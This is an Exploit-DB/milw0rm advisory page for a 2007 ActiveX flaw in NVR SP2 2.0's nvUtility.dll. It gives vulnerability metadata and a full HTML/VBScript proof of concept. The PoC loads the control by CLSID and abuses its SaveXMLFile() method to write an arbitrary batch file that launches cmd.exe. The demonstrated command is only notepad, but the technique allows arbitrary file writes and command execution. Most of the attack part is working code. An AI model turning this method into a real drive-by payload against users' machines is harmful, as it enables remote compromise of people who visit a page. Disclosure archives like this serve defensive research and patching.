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vendor:
NVR SP2 2.0
by:
shinnai
7.5
CVSS
HIGH
Insecure Method
94
CWE
Product Name: NVR SP2 2.0
Affected Version From: NVR SP2 2.0
Affected Version To: NVR SP2 2.0
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows XP Professional SP2
2007

NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) “SaveXMLFile()” Insecure Method

This exploit targets the "SaveXMLFile()" method in NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0). It allows an attacker to execute arbitrary commands on the target system.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of NVR SP2 2.0 that addresses this issue.
Source

Exploit-DB raw data:

--------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "SaveXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
--------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.SaveXMLFile "c:\shinnai.bat", mStr
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27]